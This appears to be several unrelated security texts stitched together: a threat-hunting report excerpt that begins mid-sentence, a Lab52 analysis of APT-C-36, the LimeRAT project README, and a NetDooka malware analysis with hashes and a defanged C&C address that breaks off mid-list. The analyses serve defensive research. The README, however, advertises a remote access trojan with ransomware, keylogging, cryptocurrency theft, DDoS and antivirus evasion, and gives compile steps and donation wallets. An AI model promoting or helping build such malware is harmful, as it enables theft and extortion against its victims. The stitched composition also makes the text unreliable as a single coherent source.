tracked an uptick in suspected state-nexus activity not attributed to named actor groups. In the year leading up to June 30, 2021, Chinese state-nexus adversaries (aka PANDAs) maintained a high operational tempo and conducted sustained and wide-ranging campaigns motivated both by intellectual property (IP) theft and intelligence gathering objectives. PANDAs were among the targeted intrusion adversaries most commonly uncovered by OverWatch threat hunters during this period. A notable development in early 2021 was the mass exploitation of Microsoft Exchange Server vulnerabilities by suspected China-nexus adversaries. This serves as a reminder of the diverse skill sets of China-nexus actors and highlights the ever-present threat of new vulnerabilities being found and exploited. OverWatch tracked relatively consistent levels of activity attributed to North Korea (CHOLLIMAs). CrowdStrike Intelligence reports that North Korean actors — including two actors tracked by OverWatch in the past 12 months, LABYRINTH CHOLLIMA and SILENT CHOLLIMA — continue to make iterative updates and improvements to their toolsets. In contrast to the observed China-nexus and DPRK adversary activity, OverWatch saw a downturn in activity stemming from Iran (KITTENs). CrowdStrike Intelligence reports that in 2020, many of Iran’s observed intrusion efforts focused on targets related to narrower geopolitical and domestic concerns; this may have contributed to the reduction in campaigns seen by OverWatch. OverWatch also uncovered a number of intrusion campaigns with all of the hallmarks of state-nexus activity, but that cannot at this time be attributed to any of the named adversary groups tracked by CrowdStrike Intelligence. Much of this activity targeted the telecommunications industry, explored in detail in the Signal Interference feature later in this report. This increase in activity attributable to diverse and globally dispersed mission clusters underscores the variety of targeted intrusion threats that exist in the current threat landscape. ### Hacktivism Hacktivism accounted for only a small fraction of the interactive activity tracked by OverWatch. All hacktivist activity seen by OverWatch has been attributed to a single adversary group — FRONTLINE JACKAL, an Iranian nationalist hacktivist group known to deface websites and carry out other disruptive online activity targeting U.S., Israeli and Saudi Arabian organizations. Adversary activity observed by OverWatch provided CrowdStrike Intelligence with additional visibility into this group’s operating procedures. ### Intrusions by Industry Vertical The top 10 industry verticals that featured most frequently in the interactive intrusion activity uncovered by OverWatch from July 2020 to June 2021 are as follows: 1. Technology 2. Telecommunications 3. Manufacturing 4. Financial 5. Professional Services 6. Academic 7. Healthcare 8. Retail 9. Government 10. Engineering While the telecommunications industry accounted for 40% of all targeted intrusion activity uncovered by OverWatch in the 12 months to June 30, 2021, other notable inclusions in the targeted intrusion “Top 5” are the healthcare and academic industries, which fell victim to ongoing targeting over the reporting period, particularly due to their involvement in COVID-19 related research. ## Adversary Activity In the year to June 30, 2021, OverWatch uncovered interactive intrusion activity conducted by 30 distinct named threat actor groups. In addition, threat hunters uncovered an extensive array of activity suspected of being eCrime or targeted intrusion activity, but not specifically tied to a named group. ECrime activity was by far the most widespread across industry verticals, followed by intrusions conducted by PANDA adversaries. OverWatch uncovered activity by 13 named eCrime (aka SPIDER) adversary groups. Of these groups, WIZARD SPIDER was the most prolific, with nearly twice as many intrusion attempts than any other eCrime group observed by OverWatch. For targeted intrusion activity, intrusions attributed to People’s Republic of China (aka PANDA) actors were the most common. OverWatch uncovered intrusion attempts by eight separate named China-nexus adversaries, with WICKED PANDA being the most active. ## Adversary Technique and Tooling Insights OverWatch is a sophisticated threat hunting team that finds and disrupts adversary activity on a global scale. OverWatch carefully documents the details of each intrusion it uncovers, building a rich data set of adversary activity. With each new intrusion, threat hunters create a sharper picture of the threat landscape and the tradecraft of the adversaries that inhabit it. This data-driven analysis of adversary tradecraft seeks to better equip defenders to take a proactive and evidence-informed approach to protecting their environment. The analysis below draws on OverWatch’s rich repository of intrusion data collected over the past year. ### MITRE ATT&CK Heat Map OverWatch tracks interactive intrusion activity against the MITRE ATT&CK Enterprise Matrix. The following heat map illustrates the prevalence of adversary tactics, techniques and sub-techniques observed by OverWatch threat hunters from Jan. 1, 2021 to June 30, 2021. ### Techniques and Tools: A Closer Look There are no surprises among the most commonly observed techniques. In fact, the heat map clearly illustrates that tried-and-true techniques serve as the foundation for a significant proportion of the malicious interactive activity OverWatch observes. The heat map thus serves as a guide to defenders, highlighting which focus areas they should prioritize for the best return on their investment of time and resources. As an example, building up hunting capabilities across discovery techniques can yield significant dividends. As a threat actor establishes a foothold, they commonly begin the discovery process to better understand the victim organization’s domain, user accounts and system configurations. This is usually true regardless of the threat actor’s ultimate intent. Discovery is a vital step to plan their next move, be it lateral movement, collection or exfiltration. Because many discovery activities fall well within what is “normal” administrative behavior in an enterprise environment, it is crucial that any hunting leads are augmented by tooling and human expertise that will filter out likely false positives. Hunters should prioritize the results from their hunting leads by focusing on instances where multiple different discovery hunting leads trigger within a short period of time. A sudden “burst” of discovery actions may stand in contrast to administrators or normal users, and often reflects an adversary quickly trying to orient themselves in a network. ### Top Tools **Common to Targeted Intrusion Activity and eCrime Intrusions** 1. Mimikatz 2. Cobalt Strike Beacon 3. PsExec 4. ProcDump 5. Advanced IP Scanner **Unique to eCrime Intrusions** 1. NS.exe (and name variants) 2. GMER 3. Dharma **Unique to Targeted Intrusion Activity** 1. nmap 2. dirtycow 3. Process Hacker 4. Tiny Shell (tshd) 5. OpenSSH 6. Fatedier ### Top Unique Techniques: Targeted Intrusions and eCrime Targeted Intrusions - Defense Evasion: Indicator Removal on Host: Timestomp - Persistence: Privilege Escalation - Exfiltration: Exfiltration Over Alternative Protocol eCrime - Impact: Resource Hijacking - Privilege Escalation: Defense Evasion - Credential Access: Brute Force: Password Guessing ### Expect the Unexpected: Five Uncommon Techniques 1. Use Alternate Authentication Material: Pass-the-Ticket 2. Hijack Execution Flow: COR_PROFILER 3. Compromise Client Software Binary 4. Cloud Service Discovery 5. Supply Chain Compromise ## In Pursuit of PROPHET From developers to money mules, it takes multiple criminal actors fulfilling a wide range of functions to facilitate a successful ransomware attack. Over the past year, access brokers carved out a unique role in today’s multifaceted eCrime ecosystem. One prolific suspected access broker over the past year is an adversary tracked by CrowdStrike Intelligence as PROPHET SPIDER. Access brokers specialize in breaching networks with the intention of selling that access to others. Their customers use the access to launch their own campaigns, which increasingly involve the deployment of ransomware. Threat hunters can cut short this eCrime supply chain by finding and disrupting access brokers as they attempt to gain a foothold in a network. PROPHET SPIDER has earned a reputation for gaining initial access by compromising vulnerable web servers. This eCrime adversary typically targets Oracle WebLogic servers and has been observed exploiting CVE-2016-0545, CVE-2020-14882 and CVE-2020-14750, but CrowdStrike has also observed this actor targeting other web servers. To enable persistence, PROPHET SPIDER often deploys a variety of backdoors and reverse shell tools, such as GOTROJ, that connect to hard-coded command and control (C2) IP addresses. Securing redundant access to these compromised networks is likely an attempt by access brokers to increase the value of the product they are selling. OverWatch threat hunters uncovered multiple attempted PROPHET SPIDER intrusions spanning several industry verticals. One particular intrusion against a technology company featured many typical PROPHET SPIDER tactics and techniques. By understanding these behaviors, defenders can better equip themselves with the knowledge needed to rapidly disrupt access brokers before they can use any access for malicious intent. ## Conclusion and Recommendations Thanks to OverWatch threat hunters’ rapid discovery of the activity, the customer received the necessary information to cut off the adversary’s access, preventing PROPHET SPIDER from using this network as its next resale opportunity for ransomware operators. Interestingly, the adversary returned one month later to the same server and attempted to perform similar TTPs. Such perseverance illustrates the determination of eCrime adversaries as they continue to mature and specialize in various functions of the eCrime ecosystem. The best defense against opportunistic attacks by access brokers is to ensure your externally facing servers are fully patched. However, preventative measures are not a silver bullet. Adversaries may be able to bypass even robust and secure perimeters using a variety of techniques. Therefore, proactive threat hunting like what OverWatch provides is also essential. In addition to hunting for unexpected reconnaissance, defenders should also monitor their environment for potentially malicious ingress tool transfer. To do this effectively, defenders must continually monitor for unexpected processes retrieving files from external servers as well as uncommon network data flows. Defenders should also hunt for legitimate tools that eCrime adversaries like to use. Antivirus products typically will not block these tools because of their common and legitimate usage, but they can serve as a valuable lead in revealing an unwelcome user on your network. ## SPIDER Casts a Vishing Net for Retail Target In the second quarter of 2021, a North America-based retail employee received a call from an individual claiming to be a technical support provider for the retailer’s point-of-sale (POS) vendor. Following instructions from the caller, the employee downloaded the legitimate remote access tool TeamViewer to all hosts at the store. As happens all too often, the employee unwittingly gave an unknown adversary access to remotely administer the store’s systems. The adversary used TeamViewer to access several hosts and write likely Prilex POS malware as well as Ammyy Admin remote access software. The Prilex malware, primarily seen in eCrime motivated intrusions, installed additional malicious binaries, established C2 via a remote domain, excluded itself from Windows Defender scans and created persistence via registry run keys and scheduled tasks. OverWatch detected the low-prevalence binary, lateral movement and persistence, and alerted the victim organization. ## Conclusion and Recommendations User-enabled intrusions allow an adversary to bypass some tactics in the MITRE ATT&CK Matrix. This, however, should not worry diligent threat hunters equipped with sufficient telemetry and an understanding of both the steps required for adversary objectives and the footprints that those steps leave behind. The key is to inhibit adversary progress through effective EDR while putting the indicators together to recognize the threat and respond to it in a timely manner. The use of legitimate, non-native remote access tools such as TeamViewer, AnyDesk or VNC (and its variants) by eCrime actors remains common. In the last year, such tools were present in about 5% of eCrime intrusion attempts observed by OverWatch. System administrators would do well to restrict and audit the use of such tools in their environment, even for authorized use cases. Adversaries have been known to search for listening ports and stored credentials used by remote access tools to take advantage of preinstalled lateral movement options. ## SPIDERs at a Glance ECrime actors are prolific and, due to the largely opportunistic nature of their operations, found operating across almost every industry vertical. In the year to June 30, 2021, OverWatch uncovered eCrime activity attributed to 13 named eCrime adversary groups, and extensive eCrime activity not currently attributed to a specific named adversary group. The activity observed by OverWatch spanned 34 distinct industry verticals. ### Top eCrime TTPs The following techniques were observed in at least a quarter of eCrime intrusion attempts uncovered by OverWatch: - Command and Scripting Interpreter - PowerShell (.001) - Impair Defenses - Disable or Modify Tools (.001) - Account Discovery - Process Discovery - System Information Discovery - Remote System Discovery - Remote Services - Remote Desktop Protocol (.001) - Valid Accounts - Domain Accounts (.002) ## Signal Interference: Threat Hunting Short-circuits Adversary Telecommunications Targeting Over the past year, OverWatch observed a surge in interactive intrusion activity targeting the telecommunications industry, with the number of intrusion attempts more than doubling year over year. This activity spanned all major geographic regions and was tied to a diverse range of adversaries. Targeted intrusion adversaries often conduct operations against telecommunications providers to fulfill their surveillance, intelligence and counterintelligence collection priorities. This includes accessing information such as call detail records (CDR) and, in the case of mobile providers, short message service (SMS) communications. In some instances, multiple targeted intrusion adversaries have been found active simultaneously, perhaps unbeknownst to each other, in the same victim environments. Telecommunications providers play a unique and critical role in modern societies. Most businesses, governments and individuals rely on telecommunications providers to enable all manner of communication. The centrality and ubiquity of telecommunications systems make them high-value targets for governments and criminals worldwide. Common initial access techniques observed in use against the telecommunications industry include spearphishing, vulnerability exploitation, use of legitimate credentials and supply chain compromise. Once access has been gained, adversaries often exploit services or use system-native tools, such as Windows Management Instrumentation (WMI) and various command and script interpreters, to stage the rest of their operation. To maintain access to a victim environment, adversaries regularly and proactively identify hosts of interest that may create opportunities for credential harvesting and lateral movement. In many cases, adversaries explore the environment using built-in tools such as the Windows net command, ping, telnet, SSH, PowerShell and WMI, among others. Once a target host is identified, adversaries have a variety of techniques at their disposal to acquire user credentials. In Microsoft environments, common credential harvesting techniques include using Mimikatz, dumping LSASS memory (often via comsvcs.dll or using ProcDump), or altering the WDigest registry key to store passwords in clear text in memory. In Linux environments, adversaries often view the contents of sensitive files, such as .bash_history, passwd, shadow, and other configuration files and administration scripts, when attempting to identify credentials. OverWatch has also observed adversaries employing more novel techniques. In one case, an adversary deployed backdoored SSH daemons that included an added ability to log credentials. OverWatch has also seen the use of backdoored web-based login pages that have been modified to save credentials for later retrieval by the adversary. Targeted intrusion adversaries often employ a variety of bespoke and publicly available tooling during their intrusion activity. Web server-based tools, such as Chopper web shell and reGeorg tunneling tool, are regularly used as an entry point into compromised environments. Chopper web shell can also be used to conduct reconnaissance, download additional tooling and execute commands. To capitalize on their access, adversaries must understand the telecommunications environment in which they operate. Adversaries must know how, when and where information such as call details and SMS messages are routed and recorded. OverWatch has observed adversaries viewing administration scripts and database schemas likely as part of their reconnaissance of telecommunications environments. An adversary with deep knowledge of a target environment can be difficult to discern from a legitimate administrator. Experienced threat hunters are vital in helping to differentiate legitimate administrative activities from those conducted by an adversary. OverWatch threat hunters routinely interact with the most prolific and capable adversaries targeting the telecommunications industry. This familiarity ensures OverWatch hunters have deep insights into adversary behaviors and patterns that enable them to rapidly detect, respond to and prevent adversaries from carrying out their campaigns unseen. ## Conclusion Telecommunications organizations not only form part of our critical infrastructure, they are a repository of sensitive and highly valuable data. For these reasons, the telecommunications industry is likely to remain a high-value target. OverWatch has observed adversaries targeting data related to specific persons of interest, in addition to conducting wholesale exfiltration of database records, possibly in an effort to mask their specific target. Despite widespread publicity via high-profile outings and indictments, state-nexus and criminal adversaries are becoming increasingly brazen in their intrusion efforts. From late 2020 through the first half of 2021, there were frequent high-profile events such as the supply chain compromise by Russia-nexus activity cluster StellarParticle, mass on-premises Microsoft Exchange exploitation by at least eight China-nexus adversaries, and Pulse Secure Connect VPN exploitation by KEYHOLE PANDA and another unnamed China-nexus adversary. ECrime actors such as CARBON SPIDER and PINCHY SPIDER also regularly conducted high-impact ransomware operations in parallel with the aforementioned targeted intrusions.
# APT-C-36 Recent Activity Analysis From Lab52, we have been tracking the activity of the group APT-C-36 over the last few months. This group was named and publicly introduced by the Company 360 last year. The main objective of the group is highlighted as targeting companies located in Colombia. In July 2019, TrendMicro published an article related to another group that also seems to be focused on Colombia, with some TTPs (Tactics, Techniques, and Procedures) overlapping with APT-C-36, although TrendMicro does not consider this group as advanced. Lab52 has had access to various recent spear-phishings, and the following summary information has been obtained from the analysis of these emails: - This group knows Spanish well. - They use different types of URL shorteners in their mailings. The case of “cort.as” has caught our attention since it is a shortener from the Spanish newspaper “El Pais,” which is widely spread in Latin America. - Links to docs.google.com, mediafire, and onedrive have been seen to download samples inside some malspam emails. - Their most popular malware is LimeRAT, although many others have been found as indicated in the reports. VJWorm has also been seen recently with different techniques for exfiltration. - Exfiltration by Yopmail’s HTTPS webmail service has been observed from some spear-phishings, coinciding with indications from TrendMicro. The most common dynamic domains seen are: 1. duckdns.org 2. publicvm.com 3. linkpc.net Since Lab52 does not have enough information to assert that everything analyzed is a single group, it can only be said that these are different techniques used to attack a country. From this information, the infrastructure used by the attackers as command and control servers when executing the malware has been analyzed, and the following characteristics have been identified: **Cluster A:** - All its infrastructure is geolocated in Colombia. All the IPs correspond to Colombian ISPs. - Domains are reused, and the IP to which they point is changed. - This cluster only uses free “duckdns.org” domains. **Cluster B:** - Its infrastructure is located in Colombia, Costa Rica, and Panama. The geolocated IPs in the United States correspond to domains that have been “sinkholed.” They are using a VPN service called “Powerhouse Management” (phmgmt.com), allowing them to have geolocalized IPs in Colombia, Costa Rica, and Panama. - This cluster reuses domains and changes IP addresses frequently, with a very short duration. - This cluster uses SLDs linkpc.net and publicvm.com, coinciding with part of the domains registered in the report of the Chinese company 360 on APT-C-36. **Cluster C:** - All its infrastructure is geolocated in Colombia. All the IPs correspond to Colombian ISPs. - Many domains are used, but few IP addresses. - This cluster uses free domains duckdns.org. Among the domains used by these groups, we highlight the domain cobroserfinansa.com: This domain has resolved more than 150 different IPs (157 exactly when this report was made), all located in Colombia. Another outstanding aspect from the infrastructure point of view is that the IPs located in Colombia likely correspond to routers compromised by the attackers. Lab52 hypothesizes that attackers compromise routers with default credentials and use them as a frontend for their real command and control server. This fact has not been verified by Lab52 but has been observed as a common TTP for other groups. The routers seen allow the use of the iptables command, making automation for redirection simple. ## Conclusions - The attackers know the language of the attacked country, Spanish, suggesting that Spanish-speaking countries are the main targets. This is reinforced by the use of the shortener “cort.as.” - The emails are well written and are almost always related to financial matters, specifically debt. - Currently, the attackers are not using malware developed by themselves and are utilizing public malware projects such as LimeRAT. - Attackers are using high ports to communicate with command and control servers. - They are likely using multi-level command and control architectures to hide the main command and control server. As a first level, they have used: - VPN services where Colombia, Panama, and Costa Rica exist as outgoing IPs. - Routers from ISP clients with default credentials or vulnerabilities, all belonging to Colombia. - Attackers use shorteners for links in emails, and it is advisable to watch out for shortcuts belonging to the newspaper “El Pais.” - Another option to the shorteners are links to file hosting services (Google, Mediafire, Dropbox, etc.).
# LimeRAT ## Description Simple yet powerful RAT for Windows machines. This project is simple and easy to understand. It should give you a general knowledge about dotNET malwares and how it behaves. ## Main Features - **.NET**: Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, and server is 4.0. - **Connection**: Using pastebin.com as ip:port, instead of noip.com DNS. Also using multi-ports. - **Plugin**: Using plugin system to decrease stub's size and lower the AV detection. - **Encryption**: The communication between server & client is encrypted with AES. - **Spreading**: Infecting all files and folders on USB drivers. - **Bypass**: Low AV detection and undetected startup method. - **Lightweight**: Payload size is about 25 KB. - **Anti Virtual Machines**: Uninstall itself if the machine is virtual to avoid scanning or analyzing. - **Ransomware**: Encrypting files on all HDD and USB with .Lime extension. - **XMR Miner**: High performance Monero CPU miner with user idle/active optimizations. - **DDoS**: Creating a powerful DDoS attack to make an online service unavailable. - **Crypto Stealer**: Stealing Cryptocurrency sensitive data. - **Screen-Locker**: Prevents user from accessing their Windows GUI. - **And more**: - On Connect Auto Task - Force enable Windows RDP - Persistence - File manager - Passwords stealer - Remote desktop - Bitcoin grabber - Downloader - Keylogger ## Prerequisites To open project you need: 1. Visual Studio 2017 2. This repository ## Testing 1. Open "LimeRAT.sln" 2. Set Compiler to "Debug" mode 3. On Solution Explorer, Right click on "Solution LimeRAT Project" and press "Rebuild Solution" 4. Press Run button. Be aware that both client and server are localhost. ## Compiling 1. Open "LimeRAT.sln" 2. Set Compiler to "Release" mode 3. On Solution Explorer, Right click on "Solution LimeRAT Project" and press "Rebuild Solution" 4. Everything will be under "\Project_EXE\Release" 5. Convert stub.exe to stub.il, using Ildasm. ## Notes 1. While using ransomware, restore point won't be deleted unless payload is running high privilege. 2. Anti-Kill (BSOD) won't work unless payload is running high privilege. ## Author NYAN CAT ## Donation Buy me a coffee! - **XMR**: 49H8Kbf15JFN2diG5evGHA5G49qhgFBuDid86z3MKxTv59dcqySCzFWUL3SgsEk2SufzTziHp3UE5P8BatwuyFuv1bBKQw2 - **BTC**: 12hTx7u7AqdNr8qo4UFuLwb6XAVjoDioax ## Disclaimer I, the creator, am not responsible for any actions, and or damages, caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. By using this software, you automatically agree to the above. ## License This project is licensed under the MIT License - see the LICENSE file for details.
# NetDooka Framework Distributed via PrivateLoader Malware as Part of Pay-Per-Install Service **May 5, 2022** **By: Aliakbar Zahravi, Leandro Froes** This report focuses on the components and infection chain of the NetDooka framework. Its scope ranges from the release of the first payload up until the release of the final RAT that is protected by a kernel driver. We recently encountered a fairly sophisticated malware framework that we named NetDooka after the names of some of its components. The framework is distributed via a pay-per-install (PPI) service and contains multiple parts, including a loader, a dropper, a protection driver, and a full-featured remote access trojan (RAT) that implements its own network communication protocol. During our analysis, we discovered that NetDooka was being spread via the PrivateLoader malware which, once installed, starts the whole infection chain. As previously described by Intel471, the PrivateLoader malware is a downloader responsible for downloading and installing multiple malware into the infected system as part of the PPI service. Due to the way the PPI service works, the exact payloads that would be installed might differ depending on the malware version. Some of the known malware families that are reportedly being distributed via PPI services include SmokeLoader, RedLine, and Anubis. The infection starts when a user inadvertently downloads PrivateLoader, usually through pirated software downloads, followed by the installation of the first NetDooka malware, a dropper component that is responsible for decrypting and executing the loader component. The loader then performs certain checks to ensure that it is not running in a virtual environment, after which it downloads another malware from the remote server. It might also install a kernel driver for future use. The downloaded malware is another dropper component that is executed by the loader. This dropper is responsible for decrypting and executing the final payload, a full-featured RAT containing multiple capabilities such as starting a remote shell, grabbing browser data, taking screenshots, and gathering system information. It might also start the installed kernel driver component to protect the dropped payload. ## Loader Analysis Upon execution, the loader will deobfuscate strings, such as the command-and-control (C&C) server address, and check for the command-line arguments that were passed. The malware accepts multiple arguments that indicate what action should be taken. | Argument | Function | |----------|----------| | 001 | Uninstalls Avira programs | | 004 | Uninstalls Viper programs | | 006 | Uninstalls Total 360 programs | | 007 | Uninstalls ESET programs | | 008 | Uninstalls GData programs | | embedded | Downloads the dropper component and renames it to reloadbitex.exe | | correct | Executes the dropper component and blocks antivirus vendor domains | | <No ARG> | Downloads the dropper component and executes itself using the “embedded” and “correct” arguments | If no parameter is passed to the loader, it executes a function called “DetectAV()” that queries the registry to automatically identify the antivirus products available in order to uninstall them. The malware does this by creating a new virtual desktop using CreateDesktopA, which is used as a workspace for launching the proper binary uninstaller program. This is accomplished through the use of CreateProcessA with the “create_no_window” flag, as well as through the emulation of human interactions such as controlling the mouse to complete the uninstallation process. The loader then uses the bitsadmin.exe Windows utility to download the dropper component from its C&C server and save it as “C:\Program Files\ReservHardwareUpdater\rsvr_updldr.exe”. The “embedded” argument is responsible for downloading the dropper component and saving it as “%ProgramFiles%\ReservHardwareUpdater\reloadbitex.exe”. The loader component executes itself again using the “correct” argument. Once this is done, it executes the downloaded dropper, blocks antivirus vendor domains by modifying the hosts file and redirecting their domains to “0.0.0.0” address. Finally, it deletes itself. In some variants of the malware, the loader installs a driver to act as a kernel-mode protection for the final payload (RAT component). It accomplishes this by registering as a mini-filter driver and setting callback functions to protect the malware against file deletion and process termination. The driver binary is Base64-encoded within the loader and, once decoded, has its content written to the “C:\Program Files\SolidTechnology\protdrv.sys” file. Although the loader creates a service to install the driver, it does not start it. Instead, the driver start task is performed by the dropper component. ## Dropper Analysis We discovered two different dropper components involved in the NetDooka attack chain: One is installed by the PrivateLoader that drops the NetDooka loader, while the other one drops the final RAT payload. The dropper component is a small .NET binary responsible for decrypting and executing a payload it has embedded. The malware starts by reading its own file content and looking for a specific byte sequence to get the bytes next to it. The payload decryption is achieved by performing an XOR operation in the decrypted payload that uses a single-byte key and subtracts the index value from the final value for each decryption loop iteration. The key is resolved by creating a prime number list of a specific size and iterating through it. For each iteration, the SHA-256 hash of the current list element is generated and the first byte of the hash result is then added to a single-byte variable, with the final sum being the XOR key. Once decrypted, the payload content is written to a file in the %Temp% directory and then executed via a new process. Note that both the location and the file name might be different depending on the malware version. Although the malware has multiple versions exhibiting some differences in behavior such as the XOR key and byte sequence being searched, the dropper’s goal is still the same for all NetDooka’s versions we found: Execute an embedded payload within it. As mentioned in the loader analysis section, some versions of the dropper component are responsible for starting the driver component service. It’s important to mention that the dropper version that contains the driver start step (performed before the final payload decryption and execution) is the one containing the final payload. ## Driver Analysis The driver component acts as a kernel-level protection for the RAT component. It does this by attempting to prevent the file deletion and process termination of the RAT component. The driver registers itself as a mini-filter driver to intercept I/O requests to the file system and set process callback functions to protect the RAT process. During our analysis, we noticed that the driver based its process protection implementation in the Microsoft driver example implementation and its file deletion protection in an open source project named “Prevent_File_Deletion.” The driver registers as a mini-filter driver and starts it by using both the FltRegisterFilter and FltStartFiltering functions. File systems are typical targets for I/O operations in order to access files. A file system filter is a mechanism that a driver can use to intercept calls destined to the file system. When a mini-filter driver is registered, it can set callback functions to be executed before (PreOperation) and after (PostOperation) I/O requests. For the file deletion protection, the malware registers a PreOperation callback function during the filter registration to intercept I/O requests of specific types to the file system. In this case, the malware intercepts file deletion operations. Once a file deletion operation is requested, the callback function is called, and the driver checks if the destination file has the name “ougdwieue.exe” (name of the final RAT payload). If so, it changes the permissions of the request to prevent the target file from being deleted. The process protection is achieved by setting a process notification callback routine via the PsSetCreateProcessNotifyRoutine function, which would be called every time a new process is created. When the callback is executed, the malware looks for the string “ougdwieue.exe” in the process command line to determine whether or not the process is the expected target. The driver also sets another callback routine via ObRegisterCallback to check for process operations being performed that involve a process handle creation or duplication. With these two callbacks in place when a process is created, the driver can check if the process being created is in fact the RAT process and the operation being performed is either a process handle creation or duplication. If so, the driver changes the access permission to avoid applications that try to obtain a handle to the target process and terminate it. ## RAT Analysis The final payload is a RAT that accepts commands from a remote server to execute a variety of functions such as executing shell commands, performing distributed denial-of-service (DDoS) attacks, downloading and executing files, logging keystrokes on the infected machine, and performing remote desktop operations. Upon execution, the malware employs various system checks to detect and avoid analysis environments. The malware creates a mutex named “3f0d73e2-4b8e-4539-90fd-812330bb39c8” to mark its presence on the system. In case it finds the same mutex in the system, it exits. Before C&C communication, NetDooka generates a 16-byte random session and stores it in a file named “config.cfg”. It then initializes its network communication components and contacts its C&C server to register the victims and retrieve commands. NetDookaRAT uses a custom protocol to communicate with the C&C server. Each response splits into the header and data stream. The header stream contains the request type, the size and options of the data to be sent while the data stream contains the return value of the specific function. | Type in decimal | Type in hex | Function | |------------------|-------------|----------| | 400 | 0x190 | Exfiltrate system information | | 1000 | 0x3E8 | Send session ID | | 10 | 0x0A | Send message | | 8 | 0x08 | Reverse shell | | 16 | 0x10 | DDoS attack | | 19 | 0x13 | Send file | | 5 | 0x05 | Download file | | 20 | 0x14 | Copy browser data | | 9 | 0x09 | Copy browser data | | 18 | 0x12 | Start HVNC | | 15 | 0x0F | Send log | | 14 | 0x0E | Microphone capture | | 17 | 0x11 | Start virtual network computing (VNC) | | 13 | 0x0D | Capture webcam | The malware then starts to listen for incoming TCP connections to receive commands. It then parses the received commands to execute them on the infected machine. ## Conclusion PPI malware services allow malware creators to easily deploy their payloads. The use of a malicious driver creates a large attack surface for attackers to exploit, while also allowing them to take advantage of approaches such as protecting processes and files, bypassing antivirus programs, and hiding the malware or its network communications from the system, among others. Furthermore, with the RAT payload properly installed, malicious actors can perform actions such as stealing several critical information from the infected systems, gaining remote control access to the system, and creating botnet networks. Finally, NetDooka’s capabilities allow it to act as an entry point for other malware. ## Indicators of Compromise (IOCs) **Hashes** | Type | Hash | Detection Name | |-----------|----------------------------------------------------------------------|---------------------------------| | PrivateLoader | 4d94232ec587f991017ed134ea2635e85c883ca868b96e552f9b5ac5691cdaf5 | Trojan.Win32.STOP.EL | | Driver | 81dbe7ff247d909dc3d6aef5b5894a153886955a9c9aaade6f0e9f47033dc2fb | Trojan.Win64.PROTDRIVE.A | | Dropper | 28ad0bc330c7005637c6241ef5f267981c7b31561dc7d5d5a56e24423b63e642 | TrojanSpy.MSIL.DOTCRYPT.B | | | 50ab75a7c8685f9a87b5b9eb7927ccb7c069f42fb7427566628969acdf42b345 | TrojanSpy.MSIL.DOTCRYPT.B | | | 85e439e13bcd714b966c6f4cea0cedf513944ca13523c7b0c4448fdebc240be2 | TrojanSpy.MSIL.DOTCRYPT.B | | | c64a551e5b0f74efcce154e97e1246d342b13477c80ca84f99c78db5bfeb85ef | TrojanSpy.MSIL.DOTCRYPT.B | | | 8fa89e4be15b11f42e887f1a1cad49e8c9c0c724ae56eb012ac5e529edc8b15c | TrojanSpy.MSIL.DOTCRYPT.B | | | 531f6cb76127ead379d0315a7ef1a3fc61d8fff1582aa6e4f77cc73259b3e1f2 | TrojanSpy.MSIL.DOTCRYPT.B | | | 44babb2843da68977682a74675c8375da235c75618445292990380dbc2ac23af | TrojanSpy.MSIL.DOTCRYPT.B | | | 64be1332d1bf602aaf709d30475c3d117f715d030f1c38dee4e7afa6fa0a8523 | TrojanSpy.MSIL.DOTCRYPT.B | | | 91791f8c459f32dc9bf6ec9f7ee157e322b252bc74b1142705dcc74fe8eced7e | TrojanSpy.MSIL.DOTCRYPT.B | | | a49769b8c1d28b5bb5498db87098ee9c67a94d79e10307b67fe6a870c228d402 | TrojanSpy.MSIL.DOTCRYPT.B | | | 43dcf8eea02b7286ba481ca84ec1b4d9299ba5db293177ff0a28231b36600a22 | TrojanSpy.MSIL.DOTSPY.A | | Loader | d20576f0bd39f979759cde5fb08343c3f22ff929a71c3806e8dcf0c70e0f308b | Trojan.MSIL.DNRAT.A | | | 76ed2ef41db9ec357168cd38daeff1079458af868a037251d3fec36de1b72086 | Trojan.MSIL.DNRAT.B | | | 40ee0bd60bcb6f015ad19d1099b3749ca9958dd5c619a9483332e95caee42a06 | Trojan.MSIL.DNRAT.B | | | 1cc21e3bbfc910ff2ceb8e63641582bdcca3e479029aa425c55aa346830c6c72 | Trojan.MSIL.KILLAV.AF | | | 2e37495379eb1a4dfae883d1e669e489877ed73f50ae26d43b5c91d6c7cb5792 | Trojan.MSIL.KILLAV.AF | | | 8ed34bfc102f8217dcd6e6bdae2b9d4ee0f3ab951d44255e1e300dc2a38b219e | Trojan.MSIL.KILLAV.AF | | | 5c14a72a6b73b422cafc2596c13897937013fd335eca4299e63d01adee727d54 | Trojan.MSIL.KILLAV.AF | | | bfc99c3f76d00c56149efcf75fd73497ec62b1ed53e12d428cf253525f8be8d0 | Trojan.MSIL.KILLAV.AF | | | ed98187a0895818dfa6b583463b8a6d13ebc709d6dd219b18f789e40a596e40e | Trojan.MSIL.KILLAV.AF | | | 94fb2969eae7cce75c44c667332dacace155369911b425c50476d90528651584 | Trojan.MSIL.KILLAV.AF | | | 07aec94afba94eb3b35ba5b2e74b37553c3c0fed4f6de1fbac61c20dae3f29d4 | Trojan.MSIL.KILLAV.AG | | RAT | 62946b8134065b0dab11faf906539fcfcbd2b6a89397e7fb8e187dd2d47ab232 | Backdoor.MSIL.DNRAT.A | | | 73664c342b302e4879afeb7db4eeae5efc37942e877414a13902372d25c366c5 | Backdoor.MSIL.DNRAT.A | | | ab7d39e34ad51bc3138fb4d0f7dedc4668be1d4b54a45c385e661869267ef685 | Backdoor.MSIL.DNRAT.B | | | c54a492d086930eb4d9cd0233a2f5255743b6dde22a042f2a2800f2c8fe82ce8 | Backdoor.MSIL.DNRAT.B | | | f53844fb1239792dac2e9a89913ef0ca68b7ffe9f7a9a202e3e729dbf90f9f70 | Backdoor.MSIL.DNRAT.B | | | 55247d144549642feba5489761e9f33a74fcb5923abd87619310039742e19431 | Backdoor.MSIL.DNRAT.B | | | ed092406a12d68eac373b2ddb061153cb8abe38e168550f4f6106161f43dcafe | Backdoor.MSIL.DNRAT.C | | | ba563dfaf572aa5b981043af3f164a09f16a2cf445498d52b299d18bb37ce904 | Trojan.MSIL.DNRAT.C | | | 796df2ad288455a4047a503b671d5970788b15328ce15b512c5e3403b0c39a61 | Trojan.MSIL.DNRAT.C | **Domains and URLs** - PrivateLoader C&C server: hxxp://212.193.30[.]21/ - Netdooka C&C 